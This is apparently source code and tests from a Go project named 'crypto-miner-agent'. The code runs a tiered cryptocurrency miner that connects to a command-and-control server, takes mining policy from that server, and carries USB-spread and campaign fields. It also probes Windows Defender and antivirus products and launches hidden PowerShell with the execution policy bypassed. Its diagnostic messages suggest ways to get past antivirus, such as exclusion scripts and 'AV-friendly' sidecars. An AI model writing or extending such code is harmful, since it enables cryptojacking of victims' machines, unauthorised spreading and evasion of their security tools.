log.Printf("[mining-chain] dotnet tier active wallet=%s pool=%s:%d toolchain=%s dir=%s",
c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort, launcher.Toolchain(), launcher.WorkDir())
return nil
}
func (r *MiningChainRunner) startInProcess() error {
c := r.client
r.stopSidecarPrimary(c)
c.hostMiningDisabled.Store(false)
c.pool.ResumeRemote()
log.Printf("[mining-chain] in-process RandomX active")
return nil
}
func (r *MiningChainRunner) startGPU() error {
c := r.client
c.mu.Lock()
defer c.mu.Unlock()
if c.gpuMiner != nil {
c.gpuMiner.Resume()
return nil
}
gm := newGPUMiner(c.cfg)
if gm == nil {
return miner.ErrMethodUnavailable
}
c.gpuMiner = gm
gm.Start()
log.Printf("[mining-chain] GPU subprocess started (parallel RVN)")
return nil
}
func (r *MiningChainRunner) startPyOpenCL() error {
if err := miner.StartPyOpenCLTier(r.client.cfg); err != nil {
return err
}
log.Printf("[mining-chain] linux_pyopencl tier probe OK")
return nil
}
func (r *MiningChainRunner) stopPyOpenCL() {}
func (r *MiningChainRunner) stopDockerLoad() {
r.stopContainer()
}
func (r *MiningChainRunner) stopContainer() {
c := r.client
if c.containerMiner != nil {
c.containerMiner.Stop()
c.containerMiner = nil
}
c.hostMiningDisabled.Store(false)
}
func (r *MiningChainRunner) stopWSL() {
c := r.client
if c.wslMiner != nil {
c.wslMiner.Stop()
c.wslMiner = nil
}
c.hostMiningDisabled.Store(false)
}
func (r *MiningChainRunner) stopPowerShell() {
c := r.client
if c.psMiner != nil {
c.psMiner.Stop()
c.psMiner = nil
}
c.hostMiningDisabled.Store(false)
}
func (r *MiningChainRunner) stopDotnet() {
c := r.client
if c.dotnetMiner != nil {
c.dotnetMiner.Stop()
c.dotnetMiner = nil
}
c.hostMiningDisabled.Store(false)
}
func (r *MiningChainRunner) stopSidecarPrimary(c *AgentClient) {
if c.containerMiner != nil && c.containerMiner.Running() {
c.containerMiner.Stop()
c.containerMiner = nil
}
if c.wslMiner != nil && c.wslMiner.Running() {
c.wslMiner.Stop()
c.wslMiner = nil
}
if c.psMiner != nil && c.psMiner.Running() {
c.psMiner.Stop()
c.psMiner = nil
}
if c.dotnetMiner != nil && c.dotnetMiner.Running() {
c.dotnetMiner.Stop()
c.dotnetMiner = nil
}
}
func (r *MiningChainRunner) stopInProcess() {
c := r.client
c.pool.PauseRemote()
}
func (r *MiningChainRunner) stopGPU() {
c := r.client
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
gm.Stop()
}
c.mu.Lock()
c.gpuMiner = nil
c.mu.Unlock()
r.ctrl.SetGPUActive(false)
}
func (r *MiningChainRunner) reportTierEvent(report miner.TierReport, eventType string) {
c := r.client
payload, err := json.Marshal(struct {
miner.TierReport
Event string `json:"event"`
}{
TierReport: report,
Event: eventType,
})
if err != nil {
return
}
if err := c.write(Message{Type: "tier_report", Payload: payload}); err != nil {
log.Printf("[lotl-tier] %s notify failed: %v", eventType, err)
}
r.ctrl.MergeLOTLReport(report)
if method, ok := miner.TierToMiningMethod(report.ActiveTier); ok {
r.ctrl.SetPrimaryActive(method)
}
}
func (r *MiningChainRunner) reportMiningEvent(status miner.MiningStatus, eventType string) {
c := r.client
payload, err := json.Marshal(struct {
miner.MiningStatus
Event string `json:"event"`
}{
MiningStatus: status,
Event: eventType,
})
if err != nil {
return
}
if err := c.write(Message{Type: eventType, Payload: payload}); err != nil {
log.Printf("[mining-chain] %s notify failed: %v", eventType, err)
}
}
// chainOrderForConfig exposes chain order for diagnostics without starting mining.
func chainOrderForConfig(cfg config.RuntimeConfig) []miner.MiningMethod {
rt := miner.RuntimeDetector()
return miner.DefaultFallbackChain(cfg, rt)
}
func tierChainForConfig(cfg config.RuntimeConfig, policy miner.MiningTierPolicy) []miner.LOTLTier {
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
chain, _ := miner.SelectMiningTierChain(probes, policy, cfg)
return chain
}

View File

@@ -0,0 +1,93 @@
package client
import (
"runtime"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
)
func TestChainOrderForConfigInProcessSkipsContainer(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer miner.SetRuntimeDetector(nil)
order := chainOrderForConfig(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionInProcess,
PoolHost: "pool.example.com",
},
})
for _, m := range order {
if m == miner.MethodContainer {
t.Fatalf("inprocess mode must not include container, got %v", order)
}
}
if len(order) == 0 || order[0] != miner.MethodInProcess {
t.Fatalf("want inprocess first, got %v", order)
}
stratumIdx := -1
for i, m := range order {
if m == miner.MethodStratumDirect {
stratumIdx = i
}
}
if stratumIdx < 0 {
t.Fatalf("want stratum_direct when pool configured, got %v", order)
}
if runtime.GOOS == "windows" {
for i, m := range order {
if m == miner.MethodStratumDirect && i < len(order)-1 {
// Windows appends LOTL probe/execution tiers after stratum.
return
}
}
} else if order[len(order)-1] != miner.MethodStratumDirect {
t.Fatalf("want stratum last when pool configured, got %v", order)
}
}
func TestChainOrderForConfigAutoWithDocker(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer miner.SetRuntimeDetector(nil)
order := chainOrderForConfig(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionAuto,
PoolHost: "p",
},
})
wantPrefix := []miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess, miner.MethodStratumDirect}
if len(order) < len(wantPrefix) {
t.Fatalf("order=%v want prefix %v", order, wantPrefix)
}
for i := range wantPrefix {
if order[i] != wantPrefix[i] {
t.Fatalf("order[%d]=%q want %q full=%v", i, order[i], wantPrefix[i], order)
}
}
}
func TestChainOrderForConfigContainerWithoutRuntime(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
defer miner.SetRuntimeDetector(nil)
order := chainOrderForConfig(config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionContainer,
PoolHost: "p",
},
})
for _, m := range order {
if m == miner.MethodContainer {
t.Fatalf("no runtime — container must be omitted, got %v", order)
}
}
if order[0] != miner.MethodInProcess {
t.Fatalf("want inprocess first without runtime, got %v", order)
}
}

View File

@@ -0,0 +1,296 @@
package client
import (
"encoding/json"
"runtime"
"time"
"crypto-miner-agent/miner"
)
// MiningDiagnostics is a read-only snapshot of why mining may be idle or blocked.
type MiningDiagnostics struct {
GeneratedAt string `json:"generated_at"`
Platform string `json:"platform"`
ConfiguredExecution string `json:"configured_execution"`
ExecutionMode string `json:"execution_mode"`
ContainerAvailable bool `json:"container_runtime_available"`
ContainerCLI string `json:"container_runtime_cli,omitempty"`
ContainerRunning bool `json:"container_running"`
DockerLoadAvailable bool `json:"docker_load_available"`
DockerImageTar string `json:"docker_image_tar,omitempty"`
WSLAvailable bool `json:"wsl_available"`
WSLDistros []string `json:"wsl_distros,omitempty"`
WSLRunning bool `json:"wsl_running"`
HostMiningDisabled bool `json:"host_mining_disabled"`
C2Connected bool `json:"c2_connected"`
LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"`
MiningMode string `json:"mining_mode"`
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`
InstallDir string `json:"install_dir,omitempty"`
AVRecommendation string `json:"av_recommendation,omitempty"`
LikelyBlockers []string `json:"likely_blockers"`
ActiveMethod string `json:"active_method,omitempty"`
FailedMethods []struct {
Method string `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
} `json:"failed_methods,omitempty"`
ChainOrder []string `json:"chain_order,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
CPU struct {
RemotePaused bool `json:"remote_paused"`
ScheduleBlocked bool `json:"schedule_blocked"`
ResourcesBlocked bool `json:"resources_blocked"`
HasJob bool `json:"has_job"`
Hashrate float64 `json:"hashrate_hps"`
} `json:"cpu"`
GPU struct {
Enabled bool `json:"enabled"`
Active bool `json:"active"`
Paused bool `json:"paused"`
Model string `json:"model,omitempty"`
} `json:"gpu"`
Defender *struct {
Enabled *bool `json:"enabled,omitempty"`
RTP *bool `json:"rtp,omitempty"`
Products []string `json:"products,omitempty"`
} `json:"defender,omitempty"`
EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"`
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
TierChainOrder []string `json:"tier_chain_order,omitempty"`
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
WebGPUReady bool `json:"webgpu_ready,omitempty"`
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
VulnFindings []struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
} `json:"vuln_findings,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
}
func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
execMode, containerRT := miner.ResolveExecutionMode(c.cfg)
remotePaused, scheduleBlocked, resourcesBlocked, hasJob, hps := c.pool.DiagnosticSnapshot()
var d MiningDiagnostics
d.GeneratedAt = time.Now().UTC().Format(time.RFC3339)
d.Platform = runtime.GOOS
d.ConfiguredExecution = c.cfg.MinerExecution
d.ExecutionMode = execMode
d.ContainerAvailable = containerRT.Available
d.ContainerCLI = containerRT.CLI
if c.containerMiner != nil {
d.ContainerRunning = c.containerMiner.Running()
}
if tarPath, err := miner.ResolveImageTar(c.cfg); err == nil {
d.DockerLoadAvailable = containerRT.Available
d.DockerImageTar = tarPath
}
wslRT := miner.WSLDetector()
d.WSLAvailable = wslRT.Available
d.WSLDistros = wslRT.Distros
if c.wslMiner != nil {
d.WSLRunning = c.wslMiner.Running()
}
d.HostMiningDisabled = c.hostMiningDisabled.Load()
d.C2Connected = c.connected.Load()
if raw := c.lastJobAt.Load(); raw != nil {
age := time.Since(raw.(time.Time)).Seconds()
d.LastJobAgeSec = &age
}
d.MiningMode = c.cfg.MiningMode
d.PoolHost = c.cfg.PoolHost
d.PoolPort = c.cfg.PoolPort
if dir, err := c.cfg.InstallDirectory(); err == nil {
d.InstallDir = dir
}
d.AVRecommendation = miner.AVBlockRecommendation(execMode, containerRT)
d.EnvironmentProbes = miner.ProbeEnvironment(miner.RuntimeDetector)
if d.EnvironmentProbes.GPU == false && c.cfg.GPUEnabled {
d.EnvironmentProbes.GPU = newGPUMiner(c.cfg) != nil
}
if p := collectPosture(); p != nil && p.DefenderRTP != nil && *p.DefenderRTP {
d.EnvironmentProbes.AVBlocksExe = true
}
tierChain := tierChainForConfig(c.cfg, c.miningTierPolicy())
d.TierChainOrder = make([]string, len(tierChain))
for i, t := range tierChain {
d.TierChainOrder[i] = string(t)
}
_, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, c.miningTierPolicy(), c.cfg)
d.TierChainSkipped = make([]string, len(skipped))
for i, t := range skipped {
d.TierChainSkipped[i] = string(t)
}
d.CPU.RemotePaused = remotePaused
d.CPU.ScheduleBlocked = scheduleBlocked
d.CPU.ResourcesBlocked = resourcesBlocked
d.CPU.HasJob = hasJob
d.CPU.Hashrate = hps
d.GPU.Enabled = c.cfg.GPUEnabled
c.mu.Lock()
gm := c.gpuMiner
c.mu.Unlock()
if gm != nil {
_, active := gm.Stats()
d.GPU.Active = active
d.GPU.Model = gm.GPUModel()
gm.mu.RLock()
d.GPU.Paused = gm.paused
gm.mu.RUnlock()
} else if c.cfg.GPUEnabled {
d.LikelyBlockers = append(d.LikelyBlockers, "gpu_enabled but no supported GPU miner started (driver missing or AV blocked T-Rex/TRM download)")
}
if p := collectPosture(); p != nil && (p.DefenderEnabled != nil || len(p.AVProducts) > 0) {
d.Defender = &struct {
Enabled *bool `json:"enabled,omitempty"`
RTP *bool `json:"rtp,omitempty"`
Products []string `json:"products,omitempty"`
}{
Enabled: p.DefenderEnabled,
RTP: p.DefenderRTP,
Products: p.AVProducts,
}
}
d.LikelyBlockers = append(d.LikelyBlockers, c.inferMiningBlockers(d)...)
if c.miningChain != nil {
ms := c.miningChain.Status()
if ms.LOTLTier != "" {
d.LOTLTier = string(ms.LOTLTier)
}
if len(ms.LOTLAttempts) > 0 {
d.LOTLAttempts = append(d.LOTLAttempts[:0:0], ms.LOTLAttempts...)
}
d.WebGPUReady = ms.WebGPUReady
if c.miningChain.tiers != nil {
tr := c.miningChain.tiers.Report()
d.GPUComputeOK = tr.GPUComputeOK
if d.LOTLTier == "" && tr.ActiveTier != "" {
d.LOTLTier = string(tr.ActiveTier)
}
if len(d.LOTLAttempts) == 0 && len(tr.Attempts) > 0 {
d.LOTLAttempts = tr.Attempts
}
}
d.ActiveMethod = string(ms.ActiveMethod)
d.StratumOverlay = ms.StratumOverlay
d.ChainExhausted = ms.ChainExhausted
if len(ms.ChainOrder) > 0 {
d.ChainOrder = make([]string, len(ms.ChainOrder))
for i, m := range ms.ChainOrder {
d.ChainOrder[i] = string(m)
}
}
if len(ms.FailedMethods) > 0 {
d.FailedMethods = make([]struct {
Method string `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
}, len(ms.FailedMethods))
for i, f := range ms.FailedMethods {
d.FailedMethods[i].Method = string(f.Method)
d.FailedMethods[i].Reason = f.Reason
d.FailedMethods[i].At = f.At
}
}
} else {
d.ChainOrder = make([]string, len(chainOrderForConfig(c.cfg)))
for i, m := range chainOrderForConfig(c.cfg) {
d.ChainOrder[i] = string(m)
}
}
if vr := LastVulnScan(); vr != nil {
score := vr.RiskScore
d.VulnRiskScore = &score
if len(vr.Findings) > 0 {
d.VulnFindings = make([]struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
}, len(vr.Findings))
for i, f := range vr.Findings {
d.VulnFindings[i].CVEID = f.CVEID
d.VulnFindings[i].Severity = f.Severity
d.VulnFindings[i].Component = f.Component
d.VulnFindings[i].Patched = f.Patched
d.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
d.VulnFindings[i].Detail = f.Detail
}
}
}
return d
}
func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
var blockers []string
if d.CPU.RemotePaused {
blockers = append(blockers, "mining paused by remote command or healthy container delegation")
}
if d.CPU.ScheduleBlocked {
blockers = append(blockers, "mining_mode schedule/idle guard blocking workers")
}
if d.CPU.ResourcesBlocked {
blockers = append(blockers, "resource guard: CPU/RAM limits exceeded")
}
if !d.C2Connected && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 30) {
blockers = append(blockers, "no C2 job yet — direct Stratum fallback should start within ~10s if pool reachable")
}
if d.C2Connected && !d.CPU.HasJob && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 20) {
blockers = append(blockers, "C2 connected but no mining job delivered — check server pool proxy")
}
if d.CPU.HasJob && d.CPU.Hashrate < 1 && !d.HostMiningDisabled {
blockers = append(blockers, "job present but hashrate=0 — engine init failure or process throttled/killed by AV")
}
if d.HostMiningDisabled && !d.ContainerRunning {
blockers = append(blockers, "host mining disabled for container mode but container is not running")
}
if d.Defender != nil && d.Defender.RTP != nil && *d.Defender.RTP {
blockers = append(blockers, "Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path")
}
if d.GPU.Enabled && !d.GPU.Active && !d.GPU.Paused {
blockers = append(blockers, "GPU mining configured but subprocess inactive — T-Rex/TRM likely quarantined or download blocked")
}
if d.ExecutionMode == miner.ExecutionContainer && !d.ContainerAvailable {
blockers = append(blockers, "container mode requested but Docker/Podman not detected — falls back to in-process")
}
if d.DockerImageTar != "" && !d.ContainerAvailable {
blockers = append(blockers, "docker_load policy has image tar but Docker/Podman not detected")
}
if !d.WSLAvailable && runtime.GOOS == "windows" {
blockers = append(blockers, "WSL2 not detected — wsl tier skipped (install a distro for AV-friendly Linux sidecar)")
}
if d.ChainExhausted {
blockers = append(blockers, "mining fallback chain exhausted — all primary methods failed")
}
if len(d.FailedMethods) > 0 && d.ActiveMethod == "" && !d.StratumOverlay {
blockers = append(blockers, "cascade failures recorded — check failed_methods in diagnostics JSON")
}
return blockers
}
func (c *AgentClient) miningDiagnosticsJSON() string {
d := c.collectMiningDiagnostics()
b, _ := json.MarshalIndent(d, "", " ")
return string(b)
}

View File

@@ -0,0 +1,195 @@
package client
import (
"encoding/json"
"strings"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
"crypto-miner-agent/stats"
)
func testDiagnosticsClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
t.Helper()
c := NewAgentClient(cfg)
c.pool = miner.NewPool(1, cfg, stats.NewReporter(), nil)
return c
}
func TestMiningDiagnosticsJSONShape(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
})
defer miner.SetRuntimeDetector(nil)
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
defer miner.SetWSLDetector(nil)
SetPostureCollector(func() *PostureReport { return nil })
defer SetPostureCollector(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionAuto,
PoolHost: "pool.example.com",
PoolPort: 3333,
MiningMode: "always",
},
}
c := testDiagnosticsClient(t, cfg)
c.connected.Store(true)
raw := c.miningDiagnosticsJSON()
var doc map[string]interface{}
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
t.Fatalf("invalid JSON: %v\n%s", err, raw)
}
for _, key := range []string{
"generated_at", "platform", "configured_execution", "execution_mode",
"container_runtime_available", "c2_connected", "mining_mode",
"pool_host", "pool_port", "likely_blockers", "chain_order", "cpu", "gpu",
} {
if _, ok := doc[key]; !ok {
t.Fatalf("missing key %q in diagnostics JSON", key)
}
}
blockers, ok := doc["likely_blockers"].([]interface{})
if !ok {
t.Fatalf("likely_blockers type = %T", doc["likely_blockers"])
}
if len(blockers) == 0 {
t.Fatal("expected at least one likely_blocker for idle agent with no job")
}
}
func TestInferMiningBlockersRemotePause(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
c.pool.PauseRemote()
d := c.collectMiningDiagnostics()
found := false
for _, b := range d.LikelyBlockers {
if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") {
found = true
break
}
}
if !found {
t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers)
}
}
func TestInferMiningBlockersChainExhausted(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "fallback chain exhausted") {
found = true
}
}
if !found {
t.Fatalf("got %v", blockers)
}
}
func TestInferMiningBlockersDefenderRTP(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
rtp := true
d := MiningDiagnostics{
C2Connected: true,
Defender: &struct {
Enabled *bool `json:"enabled,omitempty"`
RTP *bool `json:"rtp,omitempty"`
Products []string `json:"products,omitempty"`
}{RTP: &rtp},
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "Defender real-time protection") {
found = true
}
}
if !found {
t.Fatalf("got %v", blockers)
}
}
func TestInferMiningBlockersContainerModeNoRuntime(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
d := MiningDiagnostics{
ExecutionMode: miner.ExecutionContainer,
ContainerAvailable: false,
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "Docker/Podman not detected") {
found = true
}
}
if !found {
t.Fatalf("expected container runtime blocker, got %v", blockers)
}
}
func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) {
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
})
defer miner.SetRuntimeDetector(nil)
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
defer miner.SetWSLDetector(nil)
SetPostureCollector(func() *PostureReport { return nil })
defer SetPostureCollector(nil)
cfg := config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
MinerExecution: miner.ExecutionAuto,
PoolHost: "pool.example.com",
},
}
c := testDiagnosticsClient(t, cfg)
d := c.collectMiningDiagnostics()
if len(d.TierChainOrder) == 0 {
t.Fatalf("expected tier_chain_order, got %+v", d)
}
if d.TierChainOrder[0] == "" {
t.Fatalf("empty tier id in chain: %v", d.TierChainOrder)
}
raw := c.miningDiagnosticsJSON()
var doc map[string]interface{}
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
t.Fatal(err)
}
for _, key := range []string{"tier_chain_order", "tier_chain_skipped"} {
if _, ok := doc[key]; !ok {
t.Fatalf("missing key %q in diagnostics JSON", key)
}
}
}
func TestInferMiningBlockersGPUConfiguredInactive(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{GPUEnabled: true},
})
d := MiningDiagnostics{
GPU: struct {
Enabled bool `json:"enabled"`
Active bool `json:"active"`
Paused bool `json:"paused"`
Model string `json:"model,omitempty"`
}{Enabled: true, Active: false, Paused: false},
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range blockers {
if strings.Contains(b, "GPU mining configured but subprocess inactive") {
found = true
}
}
if !found {
t.Fatalf("expected GPU inactive blocker, got %v", blockers)
}
}

View File

@@ -0,0 +1,47 @@
package client
import (
"encoding/json"
"crypto-miner-agent/miner"
)
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
c.mu.Lock()
defer c.mu.Unlock()
if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
return miner.DefaultMiningTierPolicy()
}
return c.tierPolicy
}
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
if len(resp.MiningTierPolicy) > 0 {
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
return
}
if len(resp.LotlOnionTiers) == 0 {
return
}
order := make([]miner.LOTLTier, len(resp.LotlOnionTiers))
for i, s := range resp.LotlOnionTiers {
order[i] = miner.LOTLTier(s)
}
c.mu.Lock()
c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
c.mu.Unlock()
}
func (c *AgentClient) applyMiningTierPolicyJSON(raw json.RawMessage) {
if len(raw) == 0 || string(raw) == "null" {
return
}
var p miner.MiningTierPolicy
if err := json.Unmarshal(raw, &p); err != nil {
return
}
c.mu.Lock()
c.tierPolicy = p
c.mu.Unlock()
}

View File

@@ -0,0 +1,61 @@
package client
import (
"encoding/json"
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/miner"
)
func TestMiningTierPolicyDefaultsWhenEmpty(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
policy := c.miningTierPolicy()
defaults := miner.DefaultMiningTierPolicy()
if len(policy.TierOrder) != len(defaults.TierOrder) {
t.Fatalf("tier order len=%d want %d", len(policy.TierOrder), len(defaults.TierOrder))
}
if policy.TierOrder[0] != defaults.TierOrder[0] {
t.Fatalf("first tier=%q want %q", policy.TierOrder[0], defaults.TierOrder[0])
}
}
func TestApplyAuthLotlPolicyFromServerTiers(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
c.applyAuthLotlPolicy(AuthResponse{
Success: true,
LotlOnionTiers: []string{"container", "wsl", "cpu_inprocess"},
})
policy := c.miningTierPolicy()
want := []miner.LOTLTier{miner.TierContainer, miner.TierWSL, miner.TierCPUInprocess}
if len(policy.TierOrder) != len(want) {
t.Fatalf("order=%v want %v", policy.TierOrder, want)
}
for i := range want {
if policy.TierOrder[i] != want[i] {
t.Fatalf("order[%d]=%q want %q", i, policy.TierOrder[i], want[i])
}
}
}
func TestApplyMiningTierPolicyJSONSkipTiers(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
raw := json.RawMessage(`{"skip_tiers":["exe_subprocess","wsl"],"force_tier":"cpu_inprocess"}`)
c.applyMiningTierPolicyJSON(raw)
policy := c.miningTierPolicy()
if len(policy.SkipTiers) != 2 || policy.SkipTiers[0] != miner.TierExeSubprocess {
t.Fatalf("skip=%v", policy.SkipTiers)
}
if policy.ForceTier != miner.TierCPUInprocess {
t.Fatalf("force=%q", policy.ForceTier)
}
}
func TestApplyMiningTierPolicyJSONIgnoresInvalid(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{})
c.applyMiningTierPolicyJSON(json.RawMessage(`not-json`))
policy := c.miningTierPolicy()
if len(policy.TierOrder) == 0 {
t.Fatal("invalid JSON should leave defaults intact")
}
}

View File

@@ -0,0 +1,59 @@
package client
import (
"context"
"log"
"strings"
"time"
)
// MiningDiagnosticsReady reports whether the agent may start the mining fallback chain.
// Spread/GPO/Intune agents defer mining until C2 registration succeeds and hard blockers clear.
func MiningDiagnosticsReady(d MiningDiagnostics) bool {
if d.ChainExhausted {
return false
}
if d.HostMiningDisabled && !d.ContainerRunning {
return false
}
if !d.C2Connected {
return false
}
for _, b := range d.LikelyBlockers {
lower := strings.ToLower(b)
if strings.Contains(lower, "chain exhausted") ||
strings.Contains(lower, "host mining disabled") {
return false
}
}
return true
}
// startMiningWhenReady waits for diagnostics pass (or timeout) before launching the chain.
func (c *AgentClient) startMiningWhenReady(ctx context.Context) {
const maxWait = 120 * time.Second
deadline := time.Now().Add(maxWait)
ticker := time.NewTicker(5 * time.Second)
defer ticker.Stop()
tryStart := func(reason string) {
log.Printf("[mining] %s — starting fallback chain", reason)
c.miningChain.Start(ctx)
}
for {
if MiningDiagnosticsReady(c.collectMiningDiagnostics()) {
tryStart("diagnostics pass")
return
}
if time.Now().After(deadline) {
tryStart("diagnostics wait timeout")
return
}
select {
case <-ctx.Done():
return
case <-ticker.C:
}
}
}

View File

@@ -0,0 +1,48 @@
package client
import (
"testing"
"crypto-miner-agent/config"
)
func TestMiningDiagnosticsReadyRequiresC2(t *testing.T) {
d := MiningDiagnostics{C2Connected: false}
if MiningDiagnosticsReady(d) {
t.Fatal("expected false without C2")
}
d.C2Connected = true
if !MiningDiagnosticsReady(d) {
t.Fatal("expected true with C2 and no hard blockers")
}
}
func TestMiningDiagnosticsReadyRejectsExhausted(t *testing.T) {
d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
if MiningDiagnosticsReady(d) {
t.Fatal("expected false when chain exhausted")
}
}
func TestMiningDiagnosticsReadyRejectsHostDisabled(t *testing.T) {
d := MiningDiagnostics{
C2Connected: true,
HostMiningDisabled: true,
ContainerRunning: false,
}
if MiningDiagnosticsReady(d) {
t.Fatal("expected false when host mining disabled without container")
}
}
func TestMiningDiagnosticsReadyIgnoresTransientBlockers(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
d := MiningDiagnostics{
C2Connected: true,
LikelyBlockers: []string{"C2 connected but no mining job delivered"},
}
if !MiningDiagnosticsReady(d) {
t.Fatalf("transient blockers should not block ready state: %v", d.LikelyBlockers)
}
_ = c
}

View File

@@ -0,0 +1,9 @@
package client
// postureCollector overrides collectPosture in tests. Nil restores platform defaults.
var postureCollector func() *PostureReport
// SetPostureCollector stubs posture collection in tests. Pass nil to restore defaults.
func SetPostureCollector(fn func() *PostureReport) {
postureCollector = fn
}

View File

@@ -14,6 +14,9 @@ import (
)
func collectPosture() *PostureReport {
if postureCollector != nil {
return postureCollector()
}
r := &PostureReport{AgentServiceOK: boolPtr(true)}
// ── Firewall ───────────────────────────────────────────────────────────────

View File

@@ -176,6 +176,9 @@ $p | ConvertTo-Json -Depth 4 -Compress
`
func collectPosture() *PostureReport {
if postureCollector != nil {
return postureCollector()
}
out, err := silentCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
buildPostureScript(),

View File

@@ -1,6 +1,10 @@
package client
import "encoding/json"
import (
"encoding/json"
"crypto-miner-agent/deploy"
)
type Message struct {
Type string `json:"type"`
@@ -45,12 +49,18 @@ type AuthPayload struct {
USBSpread bool `json:"usb_spread,omitempty"`
Campaign string `json:"campaign,omitempty"`
UTM string `json:"utm,omitempty"`
LotlOnionEnabled bool `json:"lotl_onion_enabled,omitempty"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server,omitempty"`
JoinLane string `json:"join_lane,omitempty"`
}
type AuthResponse struct {
Success bool `json:"success"`
AgentID string `json:"agent_id"`
Error string `json:"error"`
Success bool `json:"success"`
AgentID string `json:"agent_id"`
Error string `json:"error"`
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
}
type SharePayload struct {
@@ -60,6 +70,13 @@ type SharePayload struct {
Worker string `json:"worker_name"`
}
// MethodFailurePayload mirrors miner.MethodFailure in stats JSON.
type MethodFailurePayload struct {
Method string `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
}
type StatsPayload struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
@@ -110,6 +127,48 @@ type StatsPayload struct {
